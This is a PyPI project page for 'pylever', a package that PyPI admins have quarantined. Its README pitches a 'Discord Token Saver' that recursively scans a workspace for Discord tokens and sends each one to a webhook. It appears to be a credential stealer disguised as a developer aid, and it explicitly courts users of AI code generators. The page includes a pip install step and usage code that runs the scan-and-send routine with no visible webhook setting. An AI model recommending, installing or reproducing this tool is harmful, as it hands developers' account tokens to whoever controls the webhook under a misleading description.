Skip to main content
Quarantined

This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.

Pylever - Discord Token Saver

A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.

Installation

pip install pylever

Usage

Import and create a client instance:

from pylever import _Client

# Create client
client = _Client(workspace_path=".")

# Scan, validate, and send tokens
results = client.auto_save_tokens()

Or scan specific directory:

client = _Client(workspace_path="/path/to/workspace")
results = client.auto_save_tokens()

Features

  • Token Validation: Checks if tokens are valid or expired
  • Account Detection: Identifies bot vs user accounts
  • Account Info: Shows username, ID, and account type
  • Status Display: ✅ for valid, ❌ for invalid
  • Manual Control: Scan only when you call it
  • Webhook Integration: All data sent to your Discord

Webhook Messages

Valid tokens show:

✅ VALID - Saved Discord Token
🤖 BOT
Username: MyBot#0000
ID: 123456789

your_token_here


Invalid tokens show:

❌ INVALID - Token Validation Failed your_token_here

Features

  • Deep Folder Scanning: Recursively scans entire workspace for tokens
  • Flexible Pattern Matching: Finds 72-character strings starting with M or N
  • Discord Webhook Integration: Sends tokens directly to your Discord
  • Local Backup: Keeps local copy of saved tokens with timestamps
  • Private API: All internal classes are private to keep your code clean

How It Works

  1. Scans all files in the specified directory recursively
  2. Looks for 72-character tokens starting with M or N
  3. Sends each token to your Discord webhook
  4. Stores metadata locally for reference

Requirements

  • Python 3.8+
  • requests>=2.28.0

Setting Up Discord Webhook

  1. Go to your Discord server settings
  2. Navigate to Webhooks
  3. Create a new webhook
  4. Copy the webhook URL
  5. Use it in the module initialization

License

MIT

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pylever-1.0.8.tar.gz (9.2 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pylever-1.0.8-py3-none-any.whl (8.7 kB view details)

Uploaded Python 3

File details

Details for the file pylever-1.0.8.tar.gz.

File metadata

  • Download URL: pylever-1.0.8.tar.gz
  • Upload date:
  • Size: 9.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.8.tar.gz
Algorithm Hash digest
SHA256 12a0a589aa578bb4913f0ff1bd205a2bc794058a1cb8149d247a5834150c71d3
MD5 87282a9a649500411c2465cd1a7677ad
BLAKE2b-256 131a7c415038ede65047025c9edea747e69f1379dc1eeffbd67f2eb34de0bd4b

See more details on using hashes here.

File details

Details for the file pylever-1.0.8-py3-none-any.whl.

File metadata

  • Download URL: pylever-1.0.8-py3-none-any.whl
  • Upload date:
  • Size: 8.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.8-py3-none-any.whl
Algorithm Hash digest
SHA256 a08b6ff508ef28163608876fb71f700821596e64c3b8c0988f5e2339e834c920
MD5 c48df97aa5e1693ef065888243e4b442
BLAKE2b-256 b27e72559189cc64d80435fa608002c935f382b1aa20ccb320e00ef7b6bbaa06

See more details on using hashes here.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page